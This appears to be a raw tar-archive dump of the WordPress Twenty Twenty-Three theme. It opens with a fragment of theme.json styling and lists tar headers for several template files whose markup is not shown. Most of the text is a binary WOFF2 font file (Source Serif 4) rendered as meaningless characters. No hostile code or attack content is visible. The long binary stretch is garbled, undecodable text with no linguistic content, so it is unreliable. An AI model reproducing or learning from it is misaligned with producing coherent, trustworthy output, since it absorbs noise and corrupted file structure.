"text": "var(--wp--preset--color--secondary)" }, "typography": { "fontFamily": "var(--wp--preset--font-family--source-serif-pro)" } }, "link": { "border": { "color": "var(--wp--preset--color--primary)", "style": "solid", "width": "0 0 2px 0" }, "color": { "text": "var(--wp--preset--color--secondary)" }, ":hover": { "border": { "color": "var(--wp--preset--color--contrast)" }, "color": { "text": "var(--wp--preset--color--secondary)" }, "typography": { "textDecoration": "none" } }, ":focus": { "border": { "style": "dashed" }, "typography": { "textDecoration": "none" } }, ":active": { "border": { "width": "0" }, "color": { "text": "var(--wp--preset--color--secondary)" }, "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "none" } } }, "border": { "color": "var(--wp--preset--color--tertiary)", "style": "solid", "width": "max(1vw, 0.5rem)" }, "spacing": { "padding": { "top": "var(--wp--preset--spacing--40)", "right": "var(--wp--preset--spacing--30)", "bottom": "var(--wp--preset--spacing--40)", "left": "var(--wp--preset--spacing--30)" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--dm-sans)" } } } themes/twentytwentythree/templates/single.html000064400000001653152335264760016055 0ustar00
    themes/twentytwentythree/templates/search.html000064400000003347152335264760016043 0ustar00
    themes/twentytwentythree/templates/index.html000064400000002526152335264760015703 0ustar00
    themes/twentytwentythree/templates/404.html000064400000000476152335264760015105 0ustar00
    themes/twentytwentythree/templates/page.html000064400000001572152335264760015510 0ustar00
    themes/twentytwentythree/templates/blank.html000064400000000074152335264760015657 0ustar00 themes/twentytwentythree/templates/blog-alternative.html000064400000002736152335264760020036 0ustar00
    themes/twentytwentythree/templates/home.html000064400000003444152335264760015524 0ustar00
    themes/twentytwentythree/templates/archive.html000064400000003131152335264760016206 0ustar00
    themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2000064400001504640152335264760026352 0ustar00wOF2tT'FO?HVARS?MVAR2`?STAT\'0X/\ (J p0f6$\  ;¥ŗR]3n0 ii_~-p=b w[ƶrdM?k"+_~NItKGR`t=z;߽3Gq<^J2܉:ǃhMLrM3*W&Yb4\S#Pa3ޤW^L+f^)rG#2t6 OM!iBۂDt JװkK\7XH AiRiKj^_+pΩC > P8}SEv Uz;?=$̄uQL>"z +n ?=LO;G>+A+ 'xRAIW?3!_++it's]D%*嬨qM.)Ls-yi&QGi&)r8B,c7YY3)}5Ry){"6VVVj ͡N95'xDDe%3s^ QLfOd/dlUXB35i&䮑`/)ێ7OTiwVQxC6S?oUTF ւdP9]Պ ܙ2M-  ʿ*S\Ax?gwӞF&-M'lR^s0"ՒUߍSw!r}N".2##%"2 e$ذ/i~4~hQw3rW~R^>],ڸD_:a֔f)uf] Uj79) Ȑ43 tQ;-% n)RTx ¶nU栰%\+T76 y-.lgW*~3SW1.O\5 B]6-p\BMDyC!Eˎ@KPT'Ҫ3FBdLpTNvVhUQLMѻwO6k>FVS']R-5j"N@L$& 3 'ApQ 6ItIN\bN8Q8$k%6i.UUqc|]0f Q2CϬT'^iS]y^Y6b'26\M.DMK=ڛd{~;,,,~aaaaaaC,,,,,,,,YXfaaaaaaa[)m:@4NTf~UY@l SO}f8Belw<X:/KoxagLeW0OW?|Y'ˆ,juIQ+ҧj2V{ eQ!ręO-ҋH(nZ4A,aKky5Ƃ̌cDQQRJ[`է3ZAM'"FlߗQ,,U l0tVsجꟿGp o dS͛7(8+ Yi+z 8I{s'7o2).2Hd+cFU5 YE@(Uvt;Nɔ)۔aʲשorUt W_n$H?TqͬՔWζW>v=gTUIOƓ$dYQ8?D&*Η:ƯصTh:iczE.%\DńԘُmVYeA\R%54jvfRYG_ f&A;9` h(S+[d^a0י͘Y|\4hQ18EFg!3C6-KEUja>8H>HYI }D{{߿AY7ME( DY/(}NX%': eQzzec֋eVUXqJ9LZL$."ºֵńńu',,;aa1aa1111a1aa11q<U=aN)I`ƍuKXt5+zt (Qb&[XѯX*B{8dlJ8CBlBYlBe6!MBh6Y+.q,6e6$6! 2![nT< h3vV`a&^}4 ,aS"m8e]o:Q(NӚv!C_:"MH&+ooO@,A)qey$I$I$I$I$I$I$I$I$I$I$$I$I.I$I$IdmZ.'I'D0U2nE?q4Rl_K$HFd$HF%HI$I$HH$ɼF^K$I$#IFr$7AӗCEe**{Q(T ={(c=PQQ( Bc J?/>K=GzD\R -uOό;׹^S6GPR .KIMr91O]ZOd3ꖝE. }xifբC,hI+[oΑٔmWw+V 5gfeeQ|-OsYbϲy.e5L=@۲-[U|o6!Mڙ̀tAz9vn*E]JAxiOG0PqWD}f5d)S@A/9 b@H$h5&mdLevJ;UI-0͇Ȑos]Ԛi5-)DD[z5\+^GOI_fe S<\UiX"鐄2N1uIj+ bJl]wYy78mFR 6Ri,M WHjFkM&N5o|,x膱~)u잹)5X1io N5/pn6)0[0F؇vM֍G沺oCbW+rՇ(l@#nTx3'g$#,!x| H JTڕC?Ȟ@ʬ[dmV_Ar޷Vezj-;p4Kq]T*ݴn*·X"Ɖ9ERCR(:^rKb*wM6 =*J]QCrϪAiVF(Ks6;n%RPo.[PYruT\5F,L kpnpnI$rvPU$P .q :I&AiMn4;фD̻Q$ڹJ>3o3pYvf_gk/vTvPN%]W(CȰE/.NU#{eO[j7;KD>[!9^,Z ~UA~S=(PսIY sBv&U(G5,Yq(| Db2=]Ĥ*s'w8C*dIx;!o]>>WQR]l`{oHJ)Pql'Hػ3iUOW5%J#5f5WU|֣T[L*%t`fׯY_eǽ|@J2PE+eu,+FuFF8 kd48E!Q }2ݾ)5K?@i1e2k|qؕz0d2L;Z~aKa^HY l@K(H7ݙhe憄%x!Kw}E^ J6)ڐ))u \}CW:ɞ]H^= =P2P2PJ{%A6EjJ-w%K.Kvy ( &hANeٮNg*t.V3?lOe-rf˿XNHq,{׫-JsU E߂V7ԉ;™''*2\rm]*TԸEQ~=s^*tVŠ2?mjf4**AH9i 2JߙdYn ٬Cs;`/=FskR*2GI:*`o\md/| qU?M51 Oe2e= "t)]!b?UA I,ˡSM7?9 XC&0?]x|<-T:XJ ʮ}` /@Rd0@9UU}d9Y?Y:M,KIraոYfۋmŲWyaetʡrH>ʒ8JCʔzjbF^$h@X`3XOnBUBӵ|a&x*߾]kr$aw_`;̕",+"I8YOB[暯#.p/а8HA) A@BtЪ䲊vYYz$eoZ[ E |^˴{6鲃bJ%?v kfqE1F}m◅A 3a+~OwHW^yZC$i&AwB 1ЖY7ӤoM gKE{{3v΢g,J`md%(kf"*9?RɮU'p4B]S͎[1>#"ṱ??3(zc 䵶16eUpՋL3.鹿6w]d)~__uPAd&C Z[qݑ9_\qnhBSrYr[?TIr#ɭAm7qZ $$c]0յoG0 :y3t~!#0cBsku|OW33UQ*V7?R<>!H AB A).|N!f$'0'pE[EchEʚ7rS87P9=!AMN $; tG+ +u!eJ SjN]|UKCDOP2: f,Kkߡc䟣3rsBC B!"t `4_E5W8.% ׿,=FBԧ5,/pj\!`Im-ld'Gzr'yۓs=9i ]ړ5tn:_.gd8i^w sFK0ԫٵ20 Lm8ldD(JQWC׀X¿\nިQÌl ( (TC S#;Il e&ijGkPK92`U ֖}Tj x)-wlsoå5XM@qYw F3:ls%0YZ<+dۯS ,"7N G%zї2Y5pOcD.V+./b{ҍhm<_PjK0F(l1rixÆ:ɽEJ, ׹fQ7̿_V؏,b,DuuczNr̽';ڈJrjE3`5j"SWaԦoj4إ9_Zǘ N7e0+[wے ꮲfͬN H0l ) s=&:&[iUaVK@a?Inl/ȥPiRh)]~  c0axZ} (!pd[; d1A\JQ0v%[$T#jmGݷAQsd<EO4w=+ԛTM.6q4`?VBԕqC$&orf8Htk60IP}\[3 = @ߛGs\5ȅPm5G^BMWŬDF2݁ř+dHGzA܉\ԫ(xN4^b0wAF.U)a&d,$^&Ǐ@%њ1 ߇t!QK Jaujym؂nxמ蘲g-ZTqt*^=Fv%y6,/g[| (.j:Cի<^V̈[ZRS4IfLA&GR)M PH N8 Y@vbW`gUцG@ @%)3/oJβdmfwuD"τ ׍ F\fY6b)OWpvr>Ȯ1)=q@6Y 6#.v FM%kűZ+WLSmkoxnWk;o+&"p }fM=&\'BEElC91z>鐩äg54'{gU[ɰi3X&=tJ0 XzI>Mw󛘦ߜ3lj+e"_˯h s_Vq{6{l1c/r`sZ+rb, sR6mE4Je`"rW2r,MM>򖉳Ċ+S;Wj|ߔGozlbZ%ȕ-<&RU#ݢimGC{f\Ó8O0LPt2žotp T8 Kg` :?Ac%^8~L;yVs KȘR8@6lM(ps6T+ZERP*B R˜V먉(ďzjŴ})R^6,E\1m`bOЯ!Ҝo/vv6b 1X.8gMwV=MĨA ˑC eӵۖ0ѤŬn6tzqxIM9&.&W8sZv]9k$j<6(j;p.#`fl(V" +Ƹ5T^:;ƲvTH ,PrYdc.?R+QMJ% F"Gdb&[8SaHPE*'""jHJH  Jh-sęl~> *IVB!h%f$/M]ږc# ̠ CUX LcUIʀ^)H z@w,\}%`rhM;`$ K"Ff|{aiH\2dd IdI[v-YX%*V*"T WF@qCT3|fƕRcnڽ+5-0ȠԶn(vS2B#rB(.XN )#vVOLyzN-, 5\E0cq+ &^ F c@,2v!7PL$U0{aE}6՟wi7z %4.TV%FmW $#ʊɾ$wY Xl׸(uіmefG[0& 8XJ PEN;+YW̦1 c8<hy{lXޱ|0Po+ 6zNb%^]{Lk$ڹɺL+kgnM"w Fm&gUl!h7Jտ T90b-B6x)vZglC p]wښW753ˉr'1#R{&4$Ț D]g`0'q `WT S4zBK ?0p{J@&c+1'edȯ~L?x.>}wϬm7{s-m;o.gJ{# 4SqoW_m88}&KV{!|>fn^t[mwɹќ@Hۺ.I;?pcp{wꯖ4wlW]C=cOˇ\:_Jc/skTߢƝ>O4|k7"p\ 9K%RyMg+'hxԾӼbWKbM?g_hˮuDRtaǞiF7s %q4.|=jw8-o-:$'^z7Dk,xR"`NhVq&w'{oh36c;rb{k;wcR5ΨZ#ǰ>*BDc ԕ:rM6 (kfq0!1W: g# C'B4zȵCig>+,(y~M-*o#U=բ"XKhv9i2,!mE[HikbQb!g2/fVj2 ɪ٘-5v^C_K:mm[S̽՞Y  Ȓj]9WF@]jNtM4L[F؍l4o  .}Y 0Y7$@Sq&)ڐ퍘9 'g#6\!$DJ,*~D|,f⩎.l06Q7 bo ٿ|LGԷ^0E;0}[ƙމgͶU(NKCBLe” gnR̽@, ç2\qZ/Itv/+d[w8 kCtOطvCS~V]"#H_ʚѳ` uQa&.^X(Opa7Ĉ]w[a(r.fvp[# [ a$T3M= 3~:tLvar8iγ{QK' HG1Dж-5S? ,i %ؘGC)&s'0 :Odv8֛L$ϺU6*"-r&9/$U,p:t(ӓɋC)ħ_DSnɳqZ=YLG>PBH FifG/ԣnBod^2UTmk?mj=hX"W%$aj]?*TZnfi/ɗk|f w Y}QedJ!z=kyM4,og.2 fPYՕ:u{tqwL=BE)KsӋ 'Y>oIrWz./?m;G4 3#ސv+ V}]ʶXAj7 xe_C#uk6`xlEp3v!d\.&4A !d-UKiFAʆL̷"t|OggCcaGWh9B,bsy6%:X8Mg~nQTO?0np/18b N@ /t~q- dv]idݪNNj8'񧟴 ^_[G,,*1Bi5׍3r@j%m02-+ƪס/\6/Jr֙+0ACrkʝD2;',eس~ ੷Cpm#eֈi7ɠѮoG.e _2V2sU{vY?;iCHPM!ڟU&o0H1dhs'*72~n?lq2sT^CdVʹAӘL3Kp۝#lb ,@n+qBr$IX_}:\apx԰fkI6t&'ފMp{ʮ7&Ļi;dBlz*y'vB]g!Fa^5? :>-/'lW+OIvY z,lt7\bumqb+I>~45jg_V]ri\u0}K1,a7mΗP3p}MoYF?r[)W<w Bv 0d3N^k4B9^rP}6LPt:2dN%x 1Dt&r)Ğ׹uNg&du LdjCZ{oѓ 8P ^$`]!0voJɨNgfNfWC 'iMVx7ޒi"O\CV9-N5.}@fT{N;B- tF9%(}hi*Ue9E#d[F #inPaf L7t.>P͠A{Rmi,Ӥ~¤)0hӏMONPn k~S&7h |xOtvueeqc[h 9㤣Z5_tR 'چ_ ~\;<__̗<ϫ.2߼*v[4vC{y1KPZ!l ?r:&la[;czD'n[;=;p÷7ijj>΃O_c~w[Y=Tp{?3vw ? oqPK6t諄W.{)Dϼ)qx,0YPg#|Xo B!y )n9J_M !L:7(Lm{:隬|Ƶ>;>^NT>&q?o[Px:2b /Y( 6Ff7'ߵ *xmmAMH/+Pi@0b;KqvtpkvK\n_^DkM+Ә_Jv%㙞 (^8F[wgCY+ai!6?LCl}|*y!w<f(#X }{ Pܢ!+ՑGX~F+5b 6"γJ7zCɐ`CU[fcn#`/ XtJ:8kkZ*CΆGjAb&`2`^w:=:luĭf>" 9fLMT_D`܀BLR k HCWBN 1#%r-~~(I3DfŻ c.ԏa JغvӃR3$U]dXqK`T ̐\ؘߒjR&;~ϬĪF\, ;Md8:lrz%7 +ͶNrTQX݋L{ pٟ1zX^ zVDv͏ >SLRvem;T%V] \6gW_՜]<|huc_$2:Bw,h>`K}Ϻwh_Sxι|X@ .Z J~!>pKŬpoDjYzC#Ùܞ#:ݎ~fO:mgVl7˙9xN<^#B0C!+%\FbLFz?s|{e-;vޅS] px47P`yy8YSo<72 }N;blL'`R GJ#UdGTXr4tYû7NӵUD/nv#]FqՑ=C~ڛU9pf;]}%@6)wg~7tvg(z !UoMq, -?,>hAysOQW@DRN -uI%3 ViNb`!vpT+ޡaM2 W>k*ݧ؋L|8?>ip_ODχY֗65pqL:cB a гmY ),;~ZOiIul 5Pxܟ:q.n%/;&5ƽ8ql/j8P'W,Qz}@`ڣ{wnvy{2qܠlS8yEaefomלS_p\s-L?Mo>ba,ӖJfku!Fm>>NY?qLϨ5/N[Gk]" l_/*nǿ}?,KJy,.wx!HD <5G5?ooqHott?%@Q{&㍰֩)@2vFҊ3Ys;Ý7^zwֳ-nk@lr1b{~%݇!>&D|k;wp MLعSƙ;1|q\|3lzk3Ga E$D^ ^>=b )- &IC[7ءҫdG8w0sf&X5mFlyׂ᠍˴Z}}Ff(z'n48R5t?On`n'g޵1Fc¸x\h6h!~d)TN8lm/ n~bWo7/;FtK@>2&O"YpunBb(X.#l4"ܮP +^{^gd:[h-w/>NeZv)S?1ldڛ[aܪh~U¬,"WJ5_<.w@r =YUZ%//Y,W= PwWuP%{U7 -2#?>_\J_U|^?|,*3#Ե%(Zb#4'o/7K,G`<K߽-OW\JL5F #'Jj:^7 3ǁJeJ `@Y (:v 19/i0pp)_?>kOBJ;U棵g2$vyw)Eox;w?}؞o;{/Vj*?i=asNR۬P0ȺEǔuݬz<={(!u̚A;̧?߿^g:OY^b_YHXGx@3Z: /L;leYAE$1sFչ+tFRvIǪ>Uy{gung?Y{b凍w;ZVWOƯo?+oW;|͝7-6߾yĭO o</vʑj^~Ujww>ŷ3DE7Sv-_<_gv|!$HRLHdth)//꾺oq%2*iʸ7Ǵ_dBa| J[u/c[ݗ?4WeW:o֟<߿w(cA#Yxº[Z$F[M3Ij8Gw ŚE$8sk_hp#1o=C((9>3C'nm*| qۯ /1p3"uH`L9[g-N4kq,pI[ᝲg#<.) $yqivv] {$Ut^w,n8@nickcӦۯcJь'IBܙ\N&]s0yVxId0bL撊uRל|Y&!S: )gqߗP`wH)~8ntvN=&s<|>Sj=|wi~ac㦛7g?͖![oooUϳjq6-VcK^>ʎӇݻ6~ɢG뿉n텫?0w}hz'oL=#/޼r?^ow/fg"ٟxhx׹G9ki+pvjB^U/JNagGkwZ>{7yyדԿ-osQq?.[\{HG<Wوcdyg~K吔uwjt}]Me퉚 "k2[hM},,;{`Cgκ<'bdzb>l|3X׋xg5wfFD$)jߩ]NPm^od'// *spݑZ6ƾ%f9e95+Zܵi`o13z(4i c o-v)E2,xޥ:6`닯;ulήj껯\N ~^.v7}h_oL3qD^5e}gsֿ}c}qsV'=M.~Ur9UWW; ܾ/S;mOIJYb֖:fNc@~{rmYl2YN֯q8 {d_^fjTNXM^?n]?V?Y?{`cr7Qo;eWMԗ`ďXr-2 /WmSf9.[6y_6Ϯ"/6v<7Q*+4^MrpOXwVr'IwwJjm6S}v|ӥNWej~4ӗTOw7Nj"g~1on7J)3}~ <_i%zX_ſ(_4n֝e5Xga\ngUo'ovc_?}aØOO= *BqlpfIjFbe$]ǔ5n󜔅N09k(||b TLAtI ՘Oz0(‰kПm3I-u N MЫy٧$ʪ3-c}4'Z*uyD^NKR [a~ae|шJ [T.ɃxKZa@ehOQEO>WYU7"7:' YS- S& kZrՀ ?%O=J1\&[iyxK,I)"x@`#rF"DqV] w ~-tc \USe%QF2^V #۷W}^Y -%*5DU$iK f9QMj8ް=;PAC˶ȸF-Kaț`r/y5L)&ШhҐr!TX'މ]8IT12wKxh0̽M^e '2J2TU1Q7W!E) w&R*'mr9tUQH!Gt($'o7\hX $FtB{fVن(H1-ƓuSo&cvt2rs)ZRCtqfbc:ŀqT.dFx,}4F!F;/{}帥,)D{> O;\M/ī˛m_dyWi`l.>?Yg(ƻۛ{̳Y7ușl*|vXU]yѯ.|iflɦzxmrկm޷U_~X殘>qOy`â)0Yui|rb—bU Uɖ͟:c{ŒMQp}Ps;R?gGqh=ԈOrc,,to˝ Aj1'oн^H:Z.Օ>V" .-~ EԱ '?1wtP+L+[1\/?VXXnp/_D-RQ\#R7_$j>ؖ_;~Ϻخ/-HYf"h3\/e觰 I B4>m{\< /cg=-\{5.|15H߭u?;>& 适/F=dԶN&a.Bt8_A|">0 |>ojm&F'LTI9_0əġEhe莾˳'O7r@w jx-ԟEr%J\z$'АEu[eA* +V&]9~^zG[tRD<#jAZVA[3GyaH+/ckR.0JPtĜc\ 6M.-=Fqu*D2筅_Bz>5~WSsNS?/&oRC'n6<9~OzmC3w$ҹݏ8ƉC ^iqݧc>}_wӪ|=ͯoS+NwX<i[NR߿m_}Nx4ܧn"Kq؝ &'2Y,Ay$gCqc5Q#o$L{h.z1h{A >I'y88{2/yԐiHB]Cf%3'rjeUig8E';r(y͹dNva*tECyTLt>Vub%qƣҡ#W\k`Y?,Uܩ==׏] 6b^Гy{f#F}}6$54/.F7>U>gK_!G 0W0~Q@zz-rz77x0p{a-AZǾ&~8{0s7@k*y6u/o9~s4 AЍz; *҅YOI"Qm UP]&Q|:KdxJiby_P|4N4ʟBRsԛ%n'ɝn nH+6B)mjwF4do;o$q?FK4ѕ )o9r,ΣD M5?MSHs;Xv}uƇO")4uG5[aÌS>bU difN&Y,}1[=mjk[:`~1[cSiˀ>flg?jV^Xj[*?i0z"c^vcE]uݍڝ;[4$.9@6nDd߾?Sǝ0}p@o{*:C?z6OSyi+sЊͳwɻRc9A;z]r-Tu͙rn3skޝ]ҾyB8.隦Ѿ9-t fk[&_Xb;ݍaI1yG4aKadk:ؼM|&:3'Yl 2w]5,e{jRI,i7_ѕOXDkGZtZدgMz='x.} BI~B+fuϚwq1|TNx^!n5T]A;Y{KzohjТ]`cǤd.0eYY'ͬ܍>󔉊 tnx buzO]-HZ;8KId4R@SBh=D׆~D1&}z;zKs="2vľe/hCIMڳ&}ŷ8̵P pKzBoVJ_-@6LTƳW /q 6Q47j\\ dݿfhcl!q! I%j?gZl1០YaR3qo؁ k7c- /" @Nd!SO'1'NųzE?n̷̔la}R<賢1f -/%G3v҆hrQ%!<"ANNsIsA;+_HIZ'=K!㓂k{v^/+{x~%("Ձ}xK"GW<}!^]8m6 7U)v~XЅ#1{l,]Ֆ2H'$N}"s4"WfVi k@@:# VWr)z0 Xu_C¯a1ϴG}iqA6?I{gi"F$QĤKF<0L0M3ws >@j%(k b8&HxbZ|lOrL% qOˉDhպ{` [xs9C^&iGo/Yz}x8Fqkp69cc8g"?8ힻsf]lSO#V {? alsz_%C5c pozsϬP.hq5Q $l]8Xj{dk9&l,Bp.?w%;WKБ+/t)q^><^ =nge#{l?C +BRwY1>soBbWÚ1:1tw"MC\@ td/ӄ  ˷2$3CHJ$eSd_Xx o@Πxm䋰gGl ~]H)`Vs`/u΅NV"W{#9=1e+Ft욹荲{Rz/\eIBХ9,Sle,}xԎY>kY )aL06)^K(7֧@4O`s^}$Ƞ`(˽%.GP͋weC.H-67ɹPm$oY:h܎MC?lؕܬF02 <enh='B 1(#P#g>5sCmwt?6n>aϟh~+7_+Tn %:jH,%N( BJqR4Ljw+[ċ2U2K-RmXC+#$|aqqq?omZnelv67;ݍ%ۨDp?Z4W>S߹-ϬmFa0 O =…s:80f >!96yuO}E̊u}Y?Y ;Q~ EEw>ݗ gUy~9?B2RV":d'l=f5&;,"eT39a,a͓8 #`82FB?6FcQiCHVyh:<+r(f&W8'2SD>855\A+BYlj^7{oԏRJX!m87$62Q7 uKA&d\wpj"*e>ũc7;D<M?U,j9olxYI &e-<o8 E.[s)WTp&k~*>$nc}#(t9,+Sbo?h{ORJ)Ovgpӕ3 f2UeM&PcHM]gRbʴ j:$D4@cT̴lRBQ`qxU5DP:,670426ɴ}~04rPqnV68c'Nsɜ fVd Fg0Yl$QPB@bH Hʪn#!”PFMZxgD{x|)|us19`t KC HW W 0\: Yw\!65|,#&qyFe!ApUHW>`DroTvR8fq̈1BmPM |<^gfhq8;o&QGxIHOl~?cI Czv#'"N#nX>6PסTe:!?8=\ܼ8Ue7\JK x{T|$֮f};Z\^>xJWGC`, 4&r>``0v.,MEӬ)]%Zyuk\wf|]ai@+؀UE xWiarW<eͳ ▸. 9 E!а}Io*#ZԕX>ϲH!y zYSiStzSᦗy2j"aiTV4R1EЂ%,y {qx7J{5/ KKڄB/'B5IPQϼMK9qg^j!ꐽzIy3J*)K9p ôE oe\p4; X1GF$^!i) VR4L) QJ~SZF7 8+OVNYoc.tw8t6aZ OoDrzvyU(!.Q 3q{g P6V-jIZY"~r{`/vT5K/!t Tl3%kzPIh2IY9z={n}@nNAkG 7&N842 a*:%T+ҷFturC:WY8&Kl0̵ X6D"]B5^3K@\@XڥCd=B%rM;~k.zhj %N$(Fx҇SȋLv6¸b1[fV~p]0?U6Zl1t/`޾ {Y9{X[s"B,3ψF`7'dV@9詽 HA@/$iŻ3E0S;t.heVd:hV0R*1n)˓~܈5JR -7V. a8ud[q툛ĭV}-/52W#;Hgd.*o uwX dhbzd<~5R5俆2]0Z ҥ`}R[(n؛TjwT.0{@0iP r,.DHS#(o׋9T} IC C8 &Gisd6f~ 3G8'0a#+`Gzr..mþ'Wg~o^lC=h=E˾ U^PRӂzlQEa;[4;#RicYpx" ۲/k:xF}IfEw|=]gj6F#RPf qBٞ'poφ㡅#k^!ӴXʳeI?vWbC{/Jcz *ca ,N pPJ,!N!n;KNyQ3%3(h( GD7@% ^d/}1M yVtlm{[B^ɚ xyG-Yk&)Q1y B7u=[6<VŇ $#9CtŊXYfK~/똃"$N6o_gv39v@d_0D) O ntRTDZTj\X<K9GGFY(֡Mx\ ƨ~!ho HܸކU 3w$"rZc}`CҞ  qdDqn&Jme6d2𾴰88(-,hv`J8âو7qCL|y;~-wPs^9*DgMO,":w=̳!2{@{_u#?ns-XQ"X8*V ۟P1w7F?iCT9- 0xQ6/H~/b1}~P8:^Fʜ.^uU&_VqT ,Zm<WQI vD]H~FRc%qZ.q?Gg'&4uʝt2adӫD^\W% K/1OdGHʤ^^HU}D #(~2jG}e2|(asb@[4]nɅDYo1N/ dcDNcf 1b$"_܁ENaK;X':ReFdiYB ,!l/jE6@6ɲtB>;BvwN)gpyo0K҄!9i$.!J[èqx/ s W ?EhtCNDW=v1/C-`^uB^+¨kK27xa> ]̪׿༗ %f|W-T˘ uVp;d{( /"[.ԴqlA!O ,MEt }wHx(K&=;7"2QzM-҈ "0>!PlVQA%Fx'&VS=Ջe(Vʱ~KBbìR=t 5'ܥ̲iTX,OJnw5LI7z&]D-Ū5͇ݘip2*(*JS7 qxqbXD'.&Cr y-IZօ@8dQ>:6f T*E^>V7J6.NƽRě(xqnb~ };60#݋r6=73VQ<-K_n~2͓ ? ?C#Giqv,E?"j:4n6AAq JZ* 4 @ᛰB#Jl! ;)-F>/, 7P%Y5oD p\oDφkˎ74RZχn3 26;L6eZ:UQcKST/ ]K9&gf:QFrDA;٤~NgYcJ% BEXiOt(XOq_C>& MVg3zϋU`"+SЩ^f9d3-e98xbTz4/Smo4D9ΡJ{kqu| vw 0|0rtYUYE7v 0~Z`=O.Tg3OWbP yaTP.(hY4*yn42&A~: [-f뻲Oh.aw#.HKiy9y V[vȘ*z2*B~⦢RbB!`οRuR<>TnαE] EG $N+IT+3I..AO>滋UԔ?vPNRny'8t>=1:&+*r7s'kS:E0Byʹd J}`m>E.I(Uky2MϩڮFլbz7" b[>5W u`8ob-n$׻+r)վ#H }d}/[iHP;Cil*+1mܖ:Ou%]0%IK,Z݅%jOQg yYA~֐̣wB.`U_lG> 0V& h̚&V7s/ f1a1|B\¾zF{uJ?H Jl\jO^Mss4yA4212F~.`!niHS n~bQ~~aiFp=7}i4^NrDE]Fn hL?e}"Rn!Z7q)=x hFлFkZuT/=- wIf{4p0Nڴ]#U0K-r ^~8HoF$Ap8I9Äz.݄4WQ9ڒ5 I hf_12Z5WQkLؠۆݐN$ly.m02@efBdohb411)O;GPP9H9Vs4/ogkl}oqʖ22&N깦c ;>lG<|b,QN׈Vs>:08S:qc-ZЏ븬1Fahv[cE܇Yw}wi"@n8(2 A|w҈`矕b uEi ZH_S0}ƎXב;`N`J7~?H#dGq +ڎmϽ8u>c9[=J;!2|,S~EQA6lzjf^ ZA\d]Oe]4fm%'Mkt>_DȸQK ԴE6nB:Z'2mtP ݶ+9|v\߿i_P`[(]"{K/^-vO0 ) %X*U%PX-zz?4Q}jM3f."I+Boڊk7Mq@7R:؅+i_-%V[ N7*K,e3X-UTtu:t˸73q@z@bDʒfglXВhfɕ-Ɔ,[ʼnt#9N;h_In!L^k#x$Bdڐ2FsHf"95i5<$.*,HFL.{%D0V٨R=u=(x0՘oLCeȞbx<䱦Ģ)9VĨJ0YsZfABf%WVX-|g m{6&: Hd|9Yg 嶷4lZÌ X\4ȉRoX qL+j#ku 2F֌Quyc((jsq )4~Y©jΙ`%9BSkd!D a%s^rZη +^r5r: 7MY+QFeߥ2T~&m\ OϚ$3O%Kqd# U\yMkގ/3}3*yJ۲QzmDǞ<5v)Ӵ/r@SDVƲ DΕ#zJ f,1?(kKxd$!%"Pk"2;l ?@Mh wI:= \aO-۵>MG/D~)S a=YX{3,̢/ڜ^ EE87ՠDu`dZZ(gO]q΋(WOHo)cΤ\.W Anۻ'yaIzwonw'7T "$CtXsIvvOI4ʫQ鑉Z5FG"YR]35iaaukg6"g4ձ'Ϫ僳-\n }&r>- p eWṭa}Lk!V/K$M( K)--J,ujNnM7cڎ tvVɚ. jh%&v_|;ojM5ٮ'bmFق6ߡEKH쵚n\iiUzPnZ@/|6-eTzHxMuЃxv. H0iI+]9ZZI|-D$fT}<54Q SawT?qZlnY/ݔa,&,XmNz x^6x;sWW^z>Q/Zeuu\^,Lm밸,O,z}5 Kn_0!JYqܣXK4޷,+0Z&-r.-gZBӃ#][Bl.Hkn&u>b2l J#|j_8x޻OӀ?TC'A%O,D`56ޢk@xXbhdJ>pL~]o8U"ʹIa*c9\~: L6wx)+ݏ# ˎ҈ӿ\a cOL3Ge-,hiOOJ]Λ#7 ua|}g7E ,- +B/iiGl>֮Sث!qpw {zn"WؕkrƕmpZ+l>L|=9m+|㨢1}빼h[n}>%XR LjaLx#uLjPCs Q(V,.=Q$"C/WfLNvхޠqV1C-8{zN!cLzSJl^+^~XFԎt~l+DuOԤ]fĦĪ4>jcugA6/#t'P`12 >C1KK9rwq-)#R6j{dCN?P\(D@sx2_+Y'ȏG!!JirH_&*C3 > lvF"nSl[5^&G'e:vП\犯Z|]uoϰL-ԁ/p=$ &=<Ĥ2)L0%^sNTگiȟ9ay2C\/O+̾Q%t?C852V=Z%L>__!H͗s{4e6`>FP^(,F9)ʔ[UTWjr7 Z**gQE0+؊؄a>3“P%TNd$Y淋QJE{E.8yiF=;7l7WĖ_2Z'By`o-ۢNBDDPh4H?Wm#$m:@J}1`|B+ɆtcFہ@@d2R*%:F@*~CDA g Oʍvs"Rh%9bPfDwJ߅).K*skʤ^XeX:O"W'3ZԕdwF蟻]Nkm&ztx꫖h's:o,n!d@vŎ3SyT@^ H8 Mc ~d8 "):vFhۡh,`@![Ʉŧa=}FwwoI7y4_g?, S4w]WCsk%@C}(S} b7թǗI6$t+T?u=F.wx([6ϼG  (jm̜Sok JqyL,0k7F\HFkuslu<]4dW>̡E"TOƿZ0.Qcy4w^2k1l]@`)E y<)$'pOP%{^} "462PDb $2R4chͻvԷ6y``|\' dU n(=0zj2 -ﵕnzv65]ibߙBlrǻ ]I‘Q6wVPZzgyL+bȮs:BU OԨ}Lz3x}?EzCq {=x/1~^c{o{g8L~A+0Ea^(/F;|dJNsCke-{cG1ˣg]L5+rgf&mr&<7t*|kHqmX hLnTFU&7rČ\_giSM%TMҁVe}D]J9=7,ФJ)Y;yi{3H9)}L;n"HFE$C,D4|ے1Ŀ^}!HJ/.Ynȉ̮lZ !Ao)Do D\N)ZȀh F\Gm)FͲ B]$i15k.H|ؼrI>q(%g:q[anO/{< _ǥ&sѓ tmf:G^\{#[f%wh^mz{JRҖhdfy<>,r?qA9]fXψ xXlm"8oS1uRv;\ۑP@@NHOMȞ[F$:y~^''KAGIR^eLGNLS!LŻ#Pb`] a,9Ht9::u:Betif#-G-_`K#W`E᭢t 9Ty'ԓvlOxL6NB-JcCWA0JDE0:`qLst0}fb99m@U%5/a|@m>i[@{/Ha'CXQEb} ] Rc瑴ø2@.a%ֲʬPx9Ee?4`Dbp!`)WlnQ",:mi,cffE˲8K$c⒝G~~ƓOA N$3Q+k`I5gcc!g6*kbF =Hza:_8Nqxt>Ck]5J> ps17,A+wTA ;*}@'$!4.kP%),riZJӅuPќ ۥxSY~W˦amR8降2jJqVǥ-/Ȣav?1yz5FK2曆 25Q9x٪7E&M!C"O4kI І1{ 